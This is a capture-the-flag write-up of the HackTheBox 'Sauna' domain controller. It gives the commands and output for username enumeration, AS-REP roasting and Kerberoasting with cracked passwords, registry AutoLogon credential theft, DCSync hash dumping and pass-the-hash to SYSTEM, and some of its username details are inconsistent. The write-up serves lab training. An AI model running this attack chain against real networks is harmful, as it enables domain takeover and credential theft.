Sauna

Field	Value
Platform	HackTheBox
OS	Windows Server (Domain Controller)
Difficulty	Easy
Initial Vector	Web OSINT → username generation → AS-REP Roasting → WinRM shell
Privesc	winPEAS AutoLogon creds → lateral move to svc_loanmgr → DCSync → Pass-the-Hash

---

Phase 1 — Reconnaissance

I started with a fast SYN sweep across all TCP ports to map the full attack surface, then ran a focused version and script scan against the discovered ports.

nmap -sS -p- --min-rate 5000 10.129.21.204 -n -Pn -oG ports

nmap -sV -sC -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49673,49674,49677,49698 --min-rate 5000 10.129.21.204 -n -Pn -oN services

53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-16 10:11:24Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, ...)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, ...)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing

Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft.windows

Port	Service	Version	Notes
53	DNS	Simple DNS Plus	Domain: EGOTISTICAL-BANK.LOCAL
80	HTTP	Microsoft IIS 10.0	"Egotistical Bank" homepage; TRACE enabled
88	Kerberos	—	DC confirmed
139/445	SMB	—	Null session denied; Guest disabled
389/3268	LDAP	—	Anonymous bind partially responsive
5985	WinRM	HTTPAPI 2.0	Shell entry point once creds obtained
9389	mc-nmf	.NET Message Framing	AD Web Services

The combination of Kerberos (88), LDAP (389/3268), and SMB (445) confirmed a Domain Controller, with EGOTISTICAL-BANK.LOCAL leaked via the LDAP banner. Port 80 was immediately notable — a company website on a DC is a potential OSINT source for username generation. Port 5985 (WinRM) open meant a shell delivery path would be available once credentials were in hand. The hostname SAUNA was revealed in the Nmap Service Info line.

echo "10.129.21.204 EGOTISTICAL-BANK.LOCAL SAUNA" >> /etc/hosts

---

Phase 2 — Service Enumeration

SMB (445)

I started with the standard unauthenticated checks — null session, Guest, and a junk username — to confirm whether any anonymous access was possible.

nxc smb 10.129.21.204 -u '' -p '' --shares
# [-] Error enumerating shares: STATUS_ACCESS_DENIED

nxc smb 10.129.21.204 -u 'Guest' -p '' --shares
# [-] EGOTISTICAL-BANK.LOCAL\Guest: STATUS_ACCOUNT_DISABLED

nxc smb 10.129.21.204 -u '' -p '' --users --rid-brute
# [-] LSAD SessionError: STATUS_ACCESS_DENIED

RPC via rpcclient was equally locked down.

rpcclient -U "" 10.129.21.204 -N
# enumdomusers → NT_STATUS_ACCESS_DENIED

SMB and RPC were completely blocked for unauthenticated sessions — unlike Forest, RID cycling over null sessions was not permitted here. The enumeration pivot shifted to LDAP and the web application.

---

LDAP (389)

I attempted an anonymous bind to check how much of the directory was exposed without credentials.

ldapsearch -x -H ldap://10.129.21.204 -b "dc=EGOTISTICAL-BANK,dc=local"

The anonymous query returned a partial result that leaked one real user object.

# Hugo Smith, EGOTISTICAL-BANK.LOCAL
dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL

A single confirmed real name from the directory — enough to establish the naming convention once validated against the KDC.

---

Web (80)

Port 80 was serving a static IIS site for "Egotistical Bank." I fingerprinted the stack and reviewed the page content manually before running any scanners.

whatweb http://10.129.21.204/

The site's Meet the Team section listed six full employee names — directly actionable for username generation.

Fergus Smith
Shaun Coins
Sophie Driver
Bowie Taylor
Hugo Bear
Steven Kerb

Directory brute-force against port 80 produced no interesting results. The web application's primary value here was OSINT — the staff names fed directly into username enumeration rather than representing a web attack surface.

gobuster dir -u http://10.129.21.204:80/ \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x .asp,.php,.txt,.html -r

---

Kerberos (88)

With a real name from LDAP (Hugo Smith) and six more from the website, I built candidate usernames following common AD naming conventions and validated them against the KDC. I corrected the system clock before any Kerberos operations.

timedatectl set-ntp false
ntpdate -u 10.129.21.204

I started with Hugo Smith to identify the naming convention in use, generating the most common AD formats.

# Candidates for Hugo Smith
h.smith / hugosmith / hugo.smith / hsmith

kerbrute userenum -d EGOTISTICAL-BANK.LOCAL --dc 10.129.21.204 hugo.txt
# [+] VALID USERNAME: [email protected]

The naming convention was confirmed as first initial + last name. Applying it to all six web-sourced names produced the full candidate list: fsmith, scoins, sdriver, btaylor, hbear, skerb.

With a validated user list I ran AS-REP Roasting. AS-REP roasting exploits accounts with Kerberos pre-authentication disabled — the KDC returns a ticket encrypted with the account's hash without verifying the requester's identity first, making it offline-crackable with no credentials needed.

GetNPUsers.py -usersfile users.txt -request -dc-ip 10.129.21.204 'EGOTISTICAL-BANK.LOCAL/'

fsmith had pre-authentication disabled and returned a $krb5asrep$23$ hash. I cracked it offline with John.

john fsmithash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Credentials recovered: fsmith : Thestrokes23.

With valid credentials I also checked for Kerberoastable accounts — service accounts with SPNs whose TGS tickets can be cracked offline.

GetUserSPNs.py EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23 -dc-ip 10.129.21.204 -request -outputfile kerberoast_hashes.txt

A TGS hash for hsmith was returned. Cracking it revealed hsmith : Thestrokes23 — the same password as fsmith, confirming password reuse across accounts. I verified both via SMB.

nxc smb 10.129.21.204 -u 'hsmith' -p 'Thestrokes23' --shares

Both accounts had read access to IPC$, NETLOGON, PRINT$, and SYSVOL. SYSVOL and NETLOGON were checked for Groups.xml GPP credentials but nothing useful was found. The printer share (RICOH Aficio SP 8300DN PCL 6) was writable but not pursued further.

---

WinRM (5985)

I verified fsmith could authenticate via WinRM before opening a shell.

nxc winrm 10.129.21.204 -u 'fsmith' -p 'Thestrokes23'
# EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)

---

Phase 3 — Attack Path

Initial Access

I opened an interactive shell as fsmith over WinRM using the credentials recovered via AS-REP roasting.

evil-winrm -i 10.129.21.204 -u 'fsmith' -p 'Thestrokes23'

The user flag was retrieved from C:\Users\FSmith\Desktop\user.txt.

Post-Shell Enumeration

I started with manual privilege and user enumeration to orient before running automated tools.

whoami /priv
whoami /all
net user

fsmith's token showed no abusable privileges. The net user output surfaced svc_loanmgr as an interesting target — service accounts in AD are frequently over-privileged or hold special ACL rights. I uploaded and executed winPEAS to speed up the search for credential storage and misconfiguration.

upload /home/kuchiki/Downloads/winPEASx64.exe
.\winPEASx64.exe

winPEAS flagged AutoLogon credentials stored in the registry under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. AutoLogon is a Windows feature that allows a machine to log in automatically at boot by storing credentials in plaintext registry values — a convenience setting that becomes a critical finding when the stored account is a domain service account.

DefaultDomainName  :  EGOTISTICALBANK
DefaultUserName    :  EGOTISTICALBANK\svc_loanmanager
DefaultPassword    :  Moneymakestheworldgoround!

The registry entry used svc_loanmanager but the actual sAMAccountName in AD was svc_loanmgr — a truncated version. Cross-referencing against the net user output confirmed the correct account name. I validated the credentials before moving laterally.

nxc smb 10.129.21.204 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
# [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround!

Credentials confirmed: svc_loanmgr : Moneymakestheworldgoround!.

Lateral Movement

I opened a shell as svc_loanmgr via WinRM and checked privileges — nothing immediately exploitable in the token. I ran BloodHound to map ACL-based attack paths that manual enumeration would miss.

evil-winrm -i 10.129.21.204 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'

/opt/Bloodhound/bloodhound-cli up

nxc ldap 10.129.21.204 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' \
  --bloodhound --collection All --dns-server 10.129.21.204

BloodHound showed that SVC_LOANMGR had been granted DCSync rights directly — DS-Replication-Get-Changes and DS-Replication-Get-Changes-All on the domain object. Unlike Forest where the DCSync path required creating a new user and abusing WriteDACL, here the rights were already in place, making the escalation a single step.

Privilege Escalation

With DCSync rights confirmed, I ran secretsdump.py to extract all domain account hashes. DCSync works by having secretsdump.py impersonate a Domain Controller and issue MS-DRSR replication requests — the real DC responds by sending back all account credential material as if to a replication peer, with no code execution on the DC required.

secretsdump.py EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.21.204

The full domain hash dump was returned, including the Administrator NT hash.

Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::

I passed the NT hash directly to evil-winrm for a clean shell, with psexec.py as the backup for a SYSTEM-level shell.

evil-winrm -i 10.129.21.204 -u 'Administrator' -H '823452073d75b9d1cf70ebdf86c7f98e'

psexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e

Shell obtained as NT AUTHORITY\SYSTEM. The root flag was retrieved from C:\Users\Administrator\Desktop\root.txt.

---

Flags

Flag	Path	Value
User	C:\Users\FSmith\Desktop\user.txt	FLAG{REDACTED}
Root	C:\Users\Administrator\Desktop\root.txt	FLAG{REDACTED}

---

Conclusion

1. A two-phase Nmap scan identified a Windows DC with SMB, LDAP, Kerberos, HTTP, and WinRM exposed; the domain EGOTISTICAL-BANK.LOCAL and hostname SAUNA were leaked via LDAP and Nmap service info respectively.
2. SMB null sessions and RID cycling were fully blocked; an anonymous LDAP bind leaked one real name (Hugo Smith) and the IIS website's Meet the Team page provided six more employee names.
3. kerbrute validated the naming convention (hsmith matched for Hugo Smith); applying it to all web-sourced names produced the full user list.
4. AS-REP roasting against the user list identified fsmith with pre-authentication disabled; the returned hash cracked to fsmith : Thestrokes23, which also reused on hsmith via Kerberoasting.
5. evil-winrm delivered a shell as fsmith and yielded the user flag; winPEAS found AutoLogon credentials in the registry for svc_loanmgr — svc_loanmgr : Moneymakestheworldgoround!.
6. BloodHound confirmed svc_loanmgr already held DCSync rights on the domain object; secretsdump.py extracted the Administrator NT hash, and Pass-the-Hash via evil-winrm delivered a Domain Admin shell and the root flag.

The system fell because a service account with pre-authentication disabled exposed a crackable hash with zero credentials required, a plaintext password was stored in the registry under an AutoLogon key, and DCSync rights were granted directly to that service account — each misconfiguration compounding the last into a complete unauthenticated-to-Domain-Admin chain.